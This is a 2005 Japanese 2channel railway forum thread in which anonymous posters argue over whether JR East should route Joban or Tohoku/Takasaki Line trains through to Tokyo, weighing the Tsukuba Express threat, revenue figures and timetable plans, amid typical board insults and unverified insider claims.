230 :名無し野電車区:2005/04/23(土) 11:52:00 ID:+hDb1Gsl
スルー運転で運用効率化、って言ってる人がいるけど、
普通列車に関しては運用数は減りませんよ。

231 :名無し野電車区:2005/04/23(土) 11:56:20 ID:xj5RGV6A
>「社会的使命」ってものがある。

京浜東北線の線路にショベルカーのスコップ放置して事故を招いて
何時間も不通にしたり、中央線の切り替え工事で単純配線ミスで
半日以上不通にしたJRが「社会的使命」を果たすのかねえ?

232 :名無し野電車区:2005/04/23(土) 12:18:04 ID:VFuWCGXm
>>230
東京〜上野の列車`が増える分で差し引きゼロってところか。

233 :名無し野電車区:2005/04/23(土) 12:32:42 ID:kLFx3kGI
品川が開発したくてしょうがないんだな
まぁあんな一等地にあんな広大な土地、もったいないのはたしか

234 :名無し野電車区:2005/04/23(土) 12:35:25 ID:Y6ZhNiVL
>>232
そういうことでしょう。
大体、運用数が1でも2でも削減できるなら、その分を増発に充てるべき。
朝ラッシュピーク後の10両(11両)の連続を解消してもらいたい。

235 :名無し野電車区:2005/04/23(土) 13:08:07 ID:wVMvZugN
>>231
ヴァカ丸だし。

話しの流れすら読めてない。

236 :名無し野電車区:2005/04/23(土) 15:43:09 ID:h8qx0zQy
まあアンチというのはこういうスレでも暴れるものですから…

237 :名無し野電車区:2005/04/23(土) 17:04:45 ID:WynM7IKQ
「利潤」>「安全性」「社会的使命」

それが束。

238 :名無し野電車区:2005/04/23(土) 17:10:25 ID:LIhulWTH
湘南新宿ラインが藤沢・横浜〜新宿の利用客を小田急や東急から奪えたことで、
投資がそれなりの利益を生んでいるが、北は基本的に難しいよな。何せ、競合が
基本的に存在しないんだから。多少の手抜きサービスでも客が逃げない、って足
元見てるし。新幹線も自社だからな。

239 :名無し野電車区:2005/04/23(土) 17:43:13 ID:h8qx0zQy
>>238
お兄さん、小田急は知らないが、東急は実は焼身によるダメージは
見られず、むしろ増えているそうだ。もちろんMM開通による効果と
分離できないが…
焼身は競争力というよりはむしろ直通サービスによる需要掘り起こし
効果が高いと見られている。

240 :名無し野電車区:2005/04/23(土) 20:20:05 ID:pRr5GfSJ
東北新幹線はJREから分割して新たに新幹線会社を作ってその会社に運営させるべき!

241 :名無し野電車区:2005/04/23(土) 20:53:04 ID:LIhulWTH
>>239
東急の定期利用客は明らかに減ったそうだよ。これが湘南新宿へ移動した分だろう。
(100%とは言わないが)
新たにMMによる需要開拓は否定しない。これらをあわせた差し引きでプラスってこ
とだろう。
まあ、これから南は更に激戦になることは想像に難くないから、京阪神の様なサー
ビス合戦が繰り広げられることを大いに期待したいね。

242 :名無し野電車区:2005/04/23(土) 21:13:40 ID:a72VDU94
>>240
東海ほどじゃないけど大黒字になる。

243 :名無し野電車区:2005/04/23(土) 21:33:58 ID:VFuWCGXm
焼売効果>焼身効果だったわけだな。

244 :名無し野電車区:2005/04/23(土) 22:19:33 ID:yC/omDTy
>>241
特急設定直後は定期券利用者が増えたというが、湘新の朝晩増発で減ったのかな?

245 :名無し野電車区:2005/04/23(土) 22:23:13 ID:pSfWkLSP
>>238
常磐線におけるTXに当たる存在が、東北・高崎線にはないからね。

246 :名無し野電車区:2005/04/23(土) 22:24:57 ID:/gstPJoP
そこで久喜〜半蔵門線直通ですよ!!(弱気)

247 :名無し野電車区:2005/04/23(土) 22:30:32 ID:a72VDU94
>>245
やはり客が激減する常磐線より宇都宮・高崎線優先かね?

248 :名無し野電車区:2005/04/23(土) 22:33:57 ID:Cz0Rao4B
>>246
東北線と東武+半蔵門線は運賃ほぼ一緒なのに
所要時間が20分も違えば東武+半蔵門線を
利用する人が少ないのは当然かも。 
何とかならんかな〜 _ト ̄|○

249 :名無し野電車区:2005/04/23(土) 23:33:37 ID:0T+cjKDG
>>247
でもTXへ流れるのって高速ハズからが多いんでねーの?

250 :名無し野電車区:2005/04/23(土) 23:44:06 ID:DLX4Zs2y
>>245
高崎線(埼京線)にとってはメトロ13号線開業後の東上線が意外と脅威だったりする。
ただし、対新宿・渋谷の場合ね。

今は多くの人が車持っているから、ちょっと離れていても競合になりうる場合も多い。
小山・栃木〜東京でJRVS東武とか。
多分常磐特別快速を取手から各駅停車にしたのは、駅周辺が発展してない駅の駐車場の便を良くして、
パーク&ライドを狙っているのもあるだろう。

251 :名無し野電車区:2005/04/24(日) 00:01:25 ID:fDjvr+CH
>>250
そうなの?荒川をはさんでほぼ住み分けが出来ているかと思ってた…

252 :名無し野電車区:2005/04/24(日) 00:03:28 ID:a72VDU94
>>250
高崎線には影響なし。
13号線と競合するのは池袋以南。

253 :名無し野電車区:2005/04/24(日) 00:25:30 ID:LpUvyhaN
TX対策で常磐線直通と騒いでいる奴がいるようだが、
7月の臨時ダイヤ改正だって取手以南住民にとってはほとんど改悪だぞ。我孫子とか。
JRが勝負かける範囲は牛久や土浦あたりだから、常磐線の全列車を直通させる
必要なんて無くて、特急や特快のみ東京直通すれば十分だということなんじゃないの?

254 :名無し野電車区:2005/04/24(日) 00:34:52 ID:icATUh0d
東北高崎VS常磐

エゴ丸出しの論戦。

255 :名無し野電車区:2005/04/24(日) 00:36:07 ID:mdvcXlnj
>>253
特急が止まらなくなる我孫子は「改悪」だが、
特急の停車駅が集約される柏は「改正」だろう。
松戸は特急はとまらなくなるが、特快がとまるので±0だろう。

256 :名無し野電車区:2005/04/24(日) 01:32:33 ID:TP5f+eLK
>>254
直通阻止厨の沼沢塵のエゴにはかないませんよ。はっはっは。

257 :名無し野電車区:2005/04/24(日) 02:03:19 ID:w2Te7Q5a
>>256

湘南ライナーや通勤快速がある「沼沢人」よりも、
川崎人や横浜人に直通への拒否感が強いようだ。

258 :名無し野電車区:2005/04/24(日) 03:23:44 ID:Nk3OrUa7
>>253
いっそのこと全部直通した方がわかりやすいと思うが。
逆に東北高崎は特急以外上野止まりでないと、新幹線利用者が減って(゚д゚)マズーだと思うが。

259 :名無し野電車区:2005/04/24(日) 10:38:25 ID:8U6rNK2b
>「社会的使命」ってものがある。
>いつまでこの混雑を放置しておくんだ!
>と世間の批判を受ければそれは束にとってダメージとなる。
>混雑度って数字はそれだけ影響力が大きい。
>だから、それを改善するための投資も有効なんだよ。
>それを具体的な「収益」に換算するのは非常に困難なのだが、
>それは「安全対策」と同じく、ある程度は必要なものだと考えられている。

上野〜東京の混雑緩和という「社会的使命」は
東北高崎線の直通を基本とした場合でも、
常磐線直通を基本とした場合でも、どちらでも果たせると思う。
東北高崎線の直通を基本とする決定打にはならない。

260 :名無し野電車区:2005/04/24(日) 10:49:41 ID:LpUvyhaN
レスの比率では
1:3くらいで
圧倒的に常磐線が有利みたいだ。

261 :名無し野電車区:2005/04/24(日) 11:12:50 ID:D1/8dAsg
>>260
いかに常磐厨が必死かが見て取れるw

262 :名無し野電車区:2005/04/24(日) 11:15:08 ID:LpUvyhaN
常磐線を直通させるとしたら、上野ではどのホームを使うつもりなんだ?
 ・8番下り直通、9番上り東京方面  → ラッシュ時にホーム2本で捌けるのか?
 ・7番下り直通、8・9番上り東京方面 → 高崎線・宇都宮線を地平ホームに押し込むのか?

いずれにせよ、常磐線の直通を基本とするなら10番線から12番線はほとんど無駄になるよな。
上野の駅舎を含めた大工事を行うなら別だけど。

263 :名無し野電車区:2005/04/24(日) 11:50:14 ID:yV8gjehc
ほら、常磐直通が主体になると余計な支出がこんなに!
その金を秋葉原ホーム新設にでも回したほうが余程喜ばれるというもの。

264 :名無し野電車区:2005/04/24(日) 11:53:28 ID:Fg3HAOZg
JR東全体の純利益は現在年間約1000億円だが、
TXの開業により年間120億円の減収になると予想されている。

運行本数や社員数を削減しない限り
そのまま120億円の減益になってしまう可能性がある。

JR東日本では、つくばエクスプレス対策の事業を
最重要課題にしているとのこと。

JR上野駅駅長談「現在JR東日本では、つくばエクスプレス対策の
事業を最重要課題の一つにしている。」

ttp://joban.squares.net/c-board.cgi?cmd=one;no=1881;id=

よって、常磐線の東海道乗り入れを本格的に考えはじめている。

265 :名無し野電車区:2005/04/24(日) 12:06:07 ID:jQEiqP8b

>>264のリンク先の掲示板=厨房の吹き溜まり


266 :名無し野電車区:2005/04/24(日) 12:07:10 ID:/QBoAVaL
ここもそうですよ?
見て分かりませんか?

267 :名無し野電車区:2005/04/24(日) 12:11:57 ID:Fg3HAOZg
>>265
厨房で結構だが反論すらできないのか!

268 :名無し野電車区:2005/04/24(日) 12:29:31 ID:ZUuM1+NZ
>>267
反論する価値もない
バカばっかりでレベルが低すぎて

269 :名無し野電車区:2005/04/24(日) 12:52:24 ID:DWOzyvNr
>>266-267
「!」や「?」を使う消防は上野駅で死ね。プッ

270 :名無し野電車区:2005/04/24(日) 13:16:31 ID:rP9b1jn9
ヒマだから反論してあげよう。

>>253も言及しているが、今回のつくばエクスプレス対策(7月改正)は
・「フレッシュひたち」の朝・夕夜間の通勤時間帯の増発
・「フレッシュひたち」「スーパーひたち」の停車駅の増加
・普通列車に新型車両「E531系」の投入
・130km/h 運転の新型車両による「特別快速」の新設

しかし常磐線快速(取手以南)の増発などはなく、夕ラッシュ時の通勤快速は
1本が普通列車に置き換え、もう1本は特急に格上げになった。特急が
集約された柏を除けば、近郊区間で目立った対策は採られていない。

271 :名無し野電車区:2005/04/24(日) 13:17:02 ID:rP9b1jn9
これをもとに考えると、今後予想される施策は
・特急の毎時3本化(フレッシュ2+スーパー1)、もしくは特快の毎時2本化
・特急・特快の東京乗り入れ(これで東京発の常磐方面は毎時4本)
・スーパーひたち土浦停車拡大、フレッシュひたちの停車駅のさらなる増加
・E531投入と130km運転拡大で全般的なスピードアップ

ただし
・最ピーク時は乗客の集中を避けるため東京直通は無し
・もちろん取手以南を走る快速列車は上野止まりのまま
・各駅停車は放置

272 :名無し野電車区:2005/04/24(日) 13:26:54 ID:sZYSQGqF
特快を2本にして、
片方を総武・山貨直通で新宿まで入れて欲しいな。。


273 :前スレ797改変・修正:2005/04/24(日) 14:06:57 ID:DM3q9R1J
朝ラッシュを予(妄)想してみる。
<<東海道線・縦貫線北行>>
現状は全ての列車が走る藤沢〜戸塚間で1時間?当たり湘南新宿ライン3本を含めた21本=20分?当たり7本。
7本を3分間隔で走らせると21分で1分不足。2分55秒だと25秒不足。2分50秒だと19分50秒と逆に10秒余る。
また、湘南新宿ラインが割り込むと東京行きの間隔が空くのを考慮して、湘南新宿ラインの前後はそれ以外と差を縮めている可能性大。
仮に湘南新宿ライン前後を2分50秒間隔、それ以外を2分55秒間隔とすると、20分15秒に7本となる。
過去レスで1時間ちょうどではないとの意見があった事から、20分15秒×3=60分45秒=時刻表上の60分となるので、
おそらく20分15秒サイクルであると思われる。
縦貫線開業後は211系とE231系に統一されているから、運転間隔を5秒ずつ詰めることが可能。よって、各路線19分40秒サイクルを予想している。
横浜から先は湘南新宿ライン1本が居なくなるので3分15秒間隔(但し湘南新宿ラインの抜けた穴は3分25秒間隔)に調整されて、
全列車上野まで直通。6本のうち2本が宇都宮線、2本が高崎線直通で残り2本は上野止まり尾久入庫。 湘南ライナーは横須賀線に別記。
<<横須賀線・湘南新宿ライン>>
1サイクル7本。うち3本が総武線直通。1本は湘南新宿ライン宇都宮線直通。
1本は戸塚から東海道線湘南新宿ライン高崎線直通が割り込む。残り2本は湘南ライナー、おはようライナー新宿、 成田エクスプレス
のうちどれかが入る。只、これだと速達系が速度を出せないので、1サイクルおきに総武線直通が2本に減る可能性もある。
<<宇都宮・高崎線・縦貫線南行>>
1サイクル9本。うち2本が湘南新宿ラインで1本が上野止まり。上野→品川3分15(上野止まり挿入時25)秒間隔6本(要上野改良)。
2本は品川止まり。 宇都宮・高崎線単独で湘南新宿ライン1本上野止まり0.5本縦貫線直通品川止まり1本同東海道線直通2本計3.5本。
<<常磐線>>
1サイクル6本。全列車上野止まり。うち3本が交流車普通・快速で2本が直流車快速。
1本は新たに通勤快速に代わって特急車使用の通勤ライナー「おはよう常磐ライナー」を設定。
ピーク時4本の他にピーク前1本、ピーク後1本運転。


274 :名無し野電車区:2005/04/24(日) 14:10:19 ID:V54XvF6b
>>272
特快を増やすと我孫子厨がキレるからムリ

275 :名無し野電車区:2005/04/24(日) 14:18:16 ID:DDmjS2AX
せっかく縦貫線ができるのだから特快は
東京ー品川ー渋谷ー新宿ー池袋
と直通するのはどうだろう。現行の配線で可能。所要時間は若干長くなるが、渋谷までなら利用者もそこそこ居るのでは。

276 :名無し野電車区:2005/04/24(日) 14:42:36 ID:4D+4VJpb
>>260
量より質?  妄想より信憑性?  必至より呆れてものが言えません?

>>273
常磐だけは当たってるように思います。

277 :名無し野電車区:2005/04/24(日) 14:42:36 ID:DM3q9R1J
常磐線は、
特急を20分ヘッドにして日中全列車東京発着にすれば他は普通上野始発で十分。
東京方面発普通も特別快速もいらない。
別にJR束にとってTXの影響で利用客が減少しても減収にさえならなければそれで良いわけだし。

278 :名無し野電車区:2005/04/24(日) 15:08:39 ID:c7j2Kbfq
>>259
引用元の書き込みをした者だが、
漏れの意図と異なる引用のされ方は非常に不愉快だ。
厨房はさっさと氏ね。
漏れの書き込みのどこに「常磐線」の文字があるか。


279 :名無し野電車区:2005/04/24(日) 15:12:46 ID:mXtWUb4M
厨房だらけw

280 :名無し野電車区:2005/04/24(日) 17:07:18 ID:kT6RYjxg
しかも常磐厨w

281 :名無し野電車区:2005/04/24(日) 17:25:28 ID:ua4CQYnE
バブル真っ盛りの時にあわてて流れ着いた人たちだからねぇ<常磐厨

282 :名無し野電車区:2005/04/24(日) 18:47:05 ID:icATUh0d
東北高崎常磐の東京直通のバランスは、
お前らが決める事案ではない。
JRが決めるのということを忘れるなよ。

TX対策で常磐線直通を増やすことに、
否定することが出来るのは、
JR関係者のみということだ。

それにしても、エゴの集合体だ、このスレは。

283 :名無し野電車区:2005/04/24(日) 19:25:46 ID:TuvT2aGU
東北線高崎線中心の乗り入れに疑問を呈した>>224似たいし、
>>226が「社会的使命」云々と弁明しており、
>>226が東北線高崎線中心の乗り入れに固執しているのは明らかだろう。

>224 :名無し野電車区 :2005/04/23(土) 03:26:53 ID:0XQi1A2Z
>>投資に見合った収益が確保できるか
>それを言っちゃえばなんだってそりゃそうなんだけど、
>ただ、東北線高崎線の乗り入れを基本とした場合は、京浜東北線や山手線の乗客が
>縦貫線に分散するだけで、利用客が全体として増えるわけではないから、
>その場合は「投資に見合った収益」とやらをどう考えればいいものかね?
>上野〜東京の混雑が緩和すれば、東武伊勢崎線の客を奪えるかね?

>226 :名無し野電車区 :2005/04/23(土) 06:17:59 ID:h8qx0zQy
>>224
>「社会的使命」ってものがある。
>いつまでこの混雑を放置しておくんだ!
>と世間の批判を受ければそれは束にとってダメージとなる。
>混雑度って数字はそれだけ影響力が大きい。
>だから、それを改善するための投資も有効なんだよ。
>それを具体的な「収益」に換算するのは非常に困難なのだが、
>それは「安全対策」と同じく、ある程度は必要なものだと考えられている。

284 :名無し野電車区:2005/04/24(日) 19:31:58 ID:c2kxOevU
>常磐線は、
>特急を20分ヘッドにして日中全列車東京発着にすれば他は普通上野始発で十分。
>東京方面発普通も特別快速もいらない。
>別にJR束にとってTXの影響で利用客が減少しても減収にさえならなければそれで良いわけだし。

これで年120億円の減収を抑えられると真面目に思っているのだろうか・・・?

285 :名無し野電車区:2005/04/24(日) 19:38:30 ID:9+b5tWQw
特急を20分ヘッドにするためにはE653系か何かをもう数十両増備しないといけないから、
それだけで100億円くらいかかりそうだな。

286 :名無し野電車区:2005/04/24(日) 19:39:05 ID:Fg3HAOZg
たかがTXごときが開業するだけで120億円も減収になるほど、
常磐線はドル箱路線だったとは以外ですな。


287 :名無し野電車区:2005/04/24(日) 19:43:27 ID:QzfioCsJ
スーパーひたち、フレッシュひたち、特快の20分ヘッドなら有り得るかも。

288 :名無し野電車区:2005/04/24(日) 19:44:53 ID:iMQKn+ze
常磐厨は千代田線で我慢しろ。
スーパーひたちも全部千代田線に回せ。
その方が便利だろ。

289 :名無し野電車区:2005/04/24(日) 19:50:23 ID:Fg3HAOZg
とうほぐ厨は貨物線で我慢しろ。
全部池袋にまわせ。
その方が便利だろ。

290 :名無し野電車区:2005/04/24(日) 19:55:16 ID:hytl1NtC
↑またイタイ厨房が・・・

291 :高崎線:2005/04/24(日) 19:56:15 ID:tE6SoNap
>>289
埼京線直通をやめて貨物線直通で我慢しましたが、何か?

292 :名無し野電車区:2005/04/24(日) 20:36:57 ID:u9L3PtyA
286 :名無し野電車区 :2005/04/24(日) 19:39:05 ID:Fg3HAOZg
たかがTXごときが開業するだけで120億円も減収になるほど、
常磐線はドル箱路線だったとは以外ですな。

289 :名無し野電車区 :2005/04/24(日) 19:50:23 ID:Fg3HAOZg
とうほぐ厨は貨物線で我慢しろ。
全部池袋にまわせ。
その方が便利だろ。


293 :名無し野電車区:2005/04/24(日) 20:37:44 ID:hytl1NtC
素晴らしきかな、常磐厨。沼沢を超える日が来た。

294 :名無し野電車区:2005/04/24(日) 20:49:54 ID:icATUh0d
>>293
東北高崎厨も、エゴの固まりという点では同じだね。

JRが、1日10万人減、年間120億減収という予測を、
どこまで憂慮しているのかで、だいぶ変わってくる。


295 :名無し野電車区:2005/04/24(日) 20:58:21 ID:C/VaWoAO
>同じだね。

日本人的なあなあの発想はもううんざり。

296 :名無し野電車区:2005/04/24(日) 21:01:33 ID:Fg3HAOZg
先に煽ってきたのが>>288東北高崎厨

297 :名無し野電車区:2005/04/24(日) 21:07:15 ID:uhuBW1+B
>>264
誰も指摘しないから、あえて釣られてみるが・・・
売り上げ(120億の減収入)と(1000億円の)収益をごっちゃにしている君は、
社会勉強が足らない。まさか、TXでJR東の経営の10%程度の影響が出ると思っ
てないだろうな?

298 :名無し野電車区:2005/04/24(日) 21:11:07 ID:icATUh0d
ただ、言えることはTX対策=東京乗り入れ、とは限らないこと言えるだろう。

常磐線も東京に乗り入れるとコストが大幅に増えるようだから、
上野までの利便性を上げてTXに勝負するということも考えられる。

299 :名無し野電車区:2005/04/24(日) 21:12:12 ID:rMpWBQzU
鉄道事業は費用の大部分を占める人件費とかの固定費は収入に関係なくかかってしまうから、
120億もの減収は結構打撃だよ。

車両や列車本数、乗務員などの要員を減らさない限り、減収は収益にモロ響く。

300 :モ2ワが300(ry:2005/04/24(日) 21:15:02 ID:wVV7jJaT
>>299
車両を減らすは実践しているではないか。

301 :名無し野電車区:2005/04/24(日) 21:16:02 ID:rMpWBQzU
>>300
どこがどのくらい減ったのかい?

302 :モ2ワが300(ry:2005/04/24(日) 21:18:20 ID:wVV7jJaT
>>301
松戸は103系→E231置き換えで保守省力化による予備車削減を実現。
E531系に置き換わる分とはまた別枠で。

303 :名無し野電車区:2005/04/24(日) 21:21:24 ID:rMpWBQzU
>>302
そういえば松戸の話しがあったな。

>保守省力化による予備車削減を実現。

予備編成が 基本×1+付属×1 だったのを 付属×2 としたため。

保守省力化ではない。

304 :名無し野電車区:2005/04/24(日) 21:26:18 ID:Fg3HAOZg
>>302
103系や中電旧車両の減価償却は何年も前に終ットル。
231系やE531系投入は純増投資。

305 :名無し野電車区:2005/04/24(日) 22:14:04 ID:XzaNGKOS
>まさか、TXでJR東の経営の10%程度の影響が出ると思っ
>てないだろうな?

単純に1割ではないにしても、何もせずに放置できる数字ではない。

306 :名無し野電車区:2005/04/24(日) 23:11:24 ID:uhuBW1+B
>>305
だから改正するんだろ、状況を認識しろよ。

307 :名無し野電車区:2005/04/24(日) 23:13:49 ID:oazbirGi
まず、少しは決算情報嫁。
そもそものデータが違ってるぞ(常磐厨掲示板だから当たり前だろうけど)
ttp://www.jreast.co.jp/kessan/pdf/kessan_200403.pdf
鉄道事業の収入が1兆8373億 ←これが120億円減ると。
鉄道事業の経費が1兆5575億
鉄道事業の利益が2797億円

で、>>299で出ているとおり、このままだと
>鉄道事業の利益が2797億円←これが120億円減るってことになるから
一大事は一大事。これは間違いない。

じゃあ、常磐線を東北縦貫にいれれば、120億減るのが0になるかというと
そういうわけではない。

常磐線を東北縦貫に入れたところで
・TXの方が便利な地域にすんでいる香具師は、やっぱりTXを使う
・TXの運賃が、北総みたいなぼったくり運賃になるわけではない。
つまり、常磐線を東北縦貫に入れたところで
120億円の効果は絶対に出ない。

つまり
○経営に大影響がでることは事実(なにせ、最悪収益の5%くらいは影響が出るから)

こんなのはわかりきってることで。大事なのは
●東北縦貫に常磐線が乗り入れることで、120億の減収がどれくらいマシになるか?
ということ。
常磐厨には、この辺を是非説明してもらいたい。

308 :名無し野電車区:2005/04/24(日) 23:35:35 ID:icATUh0d
今のところは、東海道線との直通は宇都宮・高崎線が主で、
常磐線は特急乗り入れのみが想定されていると思う。
だが、宇都宮・高崎線は湘南新宿ラインで直通が実現しているから、
東北縦貫線は常磐線も、という意見が今後出る可能性はある。

ただ、常磐線の乗り入れの場合、車両の問題やG車など
いろいろなコストがかかる。
従って現状では、厳しいと思われ。
今後のTXによってどれだけ客が転移するかで、
JRの方針に変化があるかも。

309 :名無し野電車区:2005/04/24(日) 23:54:49 ID:rMpWBQzU
>>308
>今のところは、東海道線との直通は宇都宮・高崎線が主で、
>常磐線は特急乗り入れのみが想定されていると思う。

10年後完成予定の設備の利用方法を発表時点で決定しその後も変更しないほどJRは役所ではない。

内部では既にTXの予想外の運賃発表を受け、常磐乗り入れを行う方向に変わっている。

310 :名無し野電車区:2005/04/24(日) 23:55:57 ID:eiSLjN26
>常磐乗り入れを行う方向に変わっている。

特急列車が乗り入れるらしい。

311 :名無し野電車区:2005/04/24(日) 23:57:40 ID:cge/r/jP
>>309を読んで>>310のレスはなかなか書けるもんじゃないな。

312 :名無し野電車区:2005/04/24(日) 23:57:48 ID:tE6SoNap
>>309
>常磐乗り入れを行う方向に変わっている。

ということにしたいのですね

313 :名無し野電車区:2005/04/24(日) 23:58:31 ID:Nk3OrUa7
>>307
常磐線の競合はTXだけじゃないぞ。
千代田線や日比谷線からの常磐線シフトも予想されるから、120億以上の効果があるかもしれんぞ。

314 :名無し野電車区:2005/04/24(日) 23:58:59 ID:hytl1NtC
もう常磐線の中電もバンバン直通するということにしませんか?
ツカレタ

315 :名無し野電車区:2005/04/24(日) 23:59:43 ID:icATUh0d
>>309
君、JRの職員かい?

316 :名無し野電車区:2005/04/25(月) 00:01:15 ID:rMpWBQzU
>>315
社員ではないが関係者。

317 :名無し野電車区:2005/04/25(月) 00:11:59 ID:/UrajAwO
>>309
でも、すぐくとうわけではないだろうさ。
東京駅の新幹線ホーム増設なんてことになったら、困るぞ。

318 :名無し野電車区:2005/04/25(月) 00:27:22 ID:AOj5zyVB
>>317
東海道線ホーム1面2線化ですか、そうですか。

319 :名無し野電車区:2005/04/25(月) 00:40:55 ID:p/X/m3pQ
309の発言が、316で言っている本当の関係者としてのお漏らしなのか、
2chでよくある釣りなのか、判断しかねる。

309が事実だと仮定すると、常磐線乗り入れによるコスト高を
JRが容認したことになるよな。

高崎東北常磐の直通電車の比率がどうなるのかという所は、309では分からんが。

320 :名無し野電車区:2005/04/25(月) 01:16:42 ID:uyigbA7c
>●東北縦貫に常磐線が乗り入れることで、120億の減収がどれくらいマシになるか?
>ということ。
>常磐厨には、この辺を是非説明してもらいたい。

220 :名無し野電車区 :2005/04/23(土) 02:06:33 ID:gnP/nnE9
常磐線乗入基本に変更するかは、投資に見合った収益が確保できるかどうかだろう。
常磐線基本に変更すると、直流車の交直流車への置き換え変更や、
上野10番線の東京方面進出可能化工事などで、多分100億近くかかる。
TXによる減収が年120億と見込まれるそうだが、
仮に減収を年110億に抑えられるのなら、100億近く余計に金がかかっても、
10年で元が取れる。
だが、減収を年に119億にしか抑えられないなら、元を取るのに100年かかるから、
100億近く投資する意味がない。
どの程度の投資効果があるか、それをJRがどうみるかだろう。

321 :名無し野電車区:2005/04/25(月) 01:19:26 ID:uyigbA7c
多分、常磐線乗り入れを基本とした場合の増益は数億円程度、
グリーン車を導入すれば、その分の増益も数億円程度だろう。
まあなんとか元がとれるかどうかというくらいでは?

322 :名無し野電車区:2005/04/25(月) 01:23:05 ID:uyigbA7c
ただ、20年か30年おきかに交直流車も置き換えの必要があり、
そのたびに直流車の場合に比べ数十億円の余計な出費になるけどね。

323 :名無し野電車区:2005/04/25(月) 01:26:16 ID:u5USWK46
交直車といってもかなり安く作られてるけどね。

324 :名無し野電車区:2005/04/25(月) 01:28:59 ID:z3HrEG3b
常磐線中心の乗入にしても、年120億と見られる減収を大幅に抑えることはできない。
ただ、何もしないよりは、常磐線中心の乗入にする方がいいだろう。

325 :名無し野電車区:2005/04/25(月) 01:34:58 ID:AOj5zyVB
あのさ、みんな大事なこと忘れてないかい。
俺は松戸だから東海道直通でもなんでも構わないけど、
牛久とか古河とか鴻巣方面の人は、帰りは着席機会が
思いっきり減ることになるけどいいのかな。

総武快速見ると喜んでばかりはいられないと思うよ。
まあ柏や大宮を過ぎると座れるのかな?

326 :名無し野電車区:2005/04/25(月) 01:37:19 ID:B6booBzQ
>>325
確かにそれはあるかも。
常磐線の着席機会を確保するために
全列車上野発着というのは大いにありうる。

327 :名無し野電車区:2005/04/25(月) 01:43:29 ID:p/X/m3pQ
東北高崎常磐のいずれが東京乗り入れの主流になろうとも、
いずれの路線も上野発の電車は残るだろうよ。

東京折返しも、多数の電車はホームに余裕がないから無理だろうが、
少数なら何とかなる。

着席機会が減るのは事実だが。

328 :名無し野電車区:2005/04/25(月) 02:23:04 ID:OHFYNRWl
>確かにそれはあるかも。
>常磐線の着席機会を確保するために
>全列車上野発着というのは大いにありうる。

だったら東北高崎線の着席機会を確保するために
全列車上野発着というのもありうるのか?

329 :名無し野電車区:2005/04/25(月) 03:21:18 ID:iExOm9CK
>>328
まさに現状がそうである。

330 :名無し野電車区:2005/04/25(月) 07:07:54 ID:pd21talw
>>309>>325は釣るのがうまいなw

>>309に関しては今の時点で方針転換を知ることの出来る立場の人間が
「こんなところ」に来るはず無いし、
>>325は自らが着席機会を失う沼沢厨と想像できる。



お ま い ら 釣 ら れ す ぎ w


331 :名無し野電車区:2005/04/25(月) 07:31:30 ID:AOj5zyVB
>>330

藻前が一番釣られてるよ。

332 :名無し野電車区:2005/04/25(月) 07:39:10 ID:bLdBDyce
上野の着席機会減少→特急利用者増→(゚д゚)ウマー

333 :名無し野電車区:2005/04/25(月) 08:12:09 ID:pd21talw
>>331
指摘されずとも認識しとる。大きなお世話じゃ。

>>332
東京に乗り入れるのになぜ上野にこだわる?
そりゃ上野からの客がゼロになるわけではないが・・・

334 :名無し野電車区:2005/04/25(月) 11:46:43 ID:WtQk7xhb
朝ラッシュ時にもぜひ常磐中電を入れてほしい
まあ朝は厳しいか
でもこれで日中は特急以外にも常磐線が入る可能性は高まった

335 :名無し野電車区:2005/04/25(月) 12:30:30 ID:LjJEP3SA
>>309
TXの利用客が思うように伸びず、運賃改定、結局、杞憂に過ぎず
縦貫線開通のあかつきには当初予定通り、特急の乗り入れのみとw。

TXの成功は沿線開発、、そのためにはイバ色の払拭だって
遠慮ない解説が日経に載ってたねw。常磐と同じ試練を強いられるんだね。 

336 :名無し野電車区:2005/04/25(月) 12:45:18 ID:I4ooYUR9
TXで都心に出る人も秋葉原でJRに乗り換える人が多いだろうから
JRの収入が0になるわけじゃないし、足立区あたりでは逆に
東武+地下鉄からTX+JRに変える人もいそうだけど
120億ってのはそういうのも考えた上での数字なのかね


337 :名無し野電車区:2005/04/25(月) 13:01:39 ID:p/X/m3pQ
>>335
少なくともJRの予測程度は、流れるだろうよ。

常磐線乗り入れによるコスト増
乗り入れによる売上増

どちらが多いか、乗り入れの是非を判断するだろう。

338 :名無し野電車区:2005/04/25(月) 13:26:43 ID:utUfgfo3
「どっちの乗り入れショー」の様相を呈してきたな。
刻々と変化するJRの今の気持ち。

339 :名無し野電車区:2005/04/25(月) 20:41:39 ID:4nouyUUX
>>324
それは違うな。
前スレでも出てたけど
東北・高崎線中心 事業費330億円
常磐線中心 事業費385億円
と、実にその差55億円の違いがある。
大幅に抑えられないのなら、東北・高崎線直通の方が安上がり。

340 :名無し野電車区:2005/04/25(月) 23:12:06 ID:kS7fl/Xx
>>339
ってか、本来のJRの思惑の田町と尾久の一本化を考えたら、
自ずと東北・高崎中心にならざるを得ないわけで、ここで
やってるような常磐をどうこう、云々なんてことにはならないはずで、、。

341 :名無し野電車区:2005/04/25(月) 23:17:27 ID:uTJB3Lte


    きょうはこのスレがとても平和に感じる。

342 :名無し野電車区:2005/04/25(月) 23:23:01 ID:/UrajAwO
 TXの130km/h運転は延期だな。
速度超過・速度重視といった発言や文字が躍り過ぎている今は
時期が悪すぎる。


343 :名無し野電車区:2005/04/25(月) 23:23:29 ID:s9xxyQOY
>>340
そのセリフは2chでは禁句だって。みんな分かってて楽しんでんだから。

344 :名無し野電車区:2005/04/25(月) 23:24:40 ID:/UrajAwO
 ということは、イモづる式にJRのE531の130km/hも延期だわさ。
まあ、どっちとも当分は120km/hでいいんじゃないの?

345 :名無し野電車区:2005/04/25(月) 23:28:40 ID:uTJB3Lte
ここで延期したら「うちの安全率計算も適当ですた」と認めているようなものだぞ。


346 :名無し野電車区:2005/04/26(火) 01:36:03 ID:ASu4X4KB
>>343
あらま、そうだったの?これはこれは、失礼しました!

347 :名無し野電車区:2005/04/26(火) 01:51:25 ID:XV9VECuU
>>330
どうしてもネタにしたいんだね。

348 :名無し野電車区:2005/04/26(火) 05:41:53 ID:grvZJC6k
>>347
じゃあ実名と所属書けよ。問い合わせてその通りだったら信じてやるよw

349 :名無し野電車区:2005/04/26(火) 06:51:27 ID:XV9VECuU
ウソをウソと見ぬけない香具師ほどソースソースって騒ぐんだよ。

350 :名無し野電車区:2005/04/26(火) 12:14:24 ID:Kdz37eDv
…と、ソースを示せない妄想家が申しております。

351 :名無し野電車区:2005/04/26(火) 12:24:31 ID:NH9KJw1s
東北厨や高崎厨はTXや常磐線で130キロ運転するのが相当悔しいようですね。

